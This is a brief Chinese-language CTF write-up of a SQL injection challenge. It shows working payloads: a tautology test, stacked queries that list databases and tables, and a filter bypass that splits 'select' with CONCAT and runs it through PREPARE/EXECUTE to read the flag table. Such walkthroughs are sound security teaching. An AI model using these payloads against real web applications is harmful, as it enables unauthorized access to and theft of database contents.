打开题目：
应该是道sql注入题
先尝试payload:' or 1=1#
判断存在sql注入
查询数据库1';show databases#
查询表1';show tables#
查询字段,表名为数字时要用引号圈起来
1';select * from `1919810931114514`#
发现select被过滤了
设置payload:
?inject=-1';SET @sql = CONCAT('sel','ect',' * from `1919810931114514`;');PREPARE dawn from @sql;EXECUTE dawn;#
得到flag
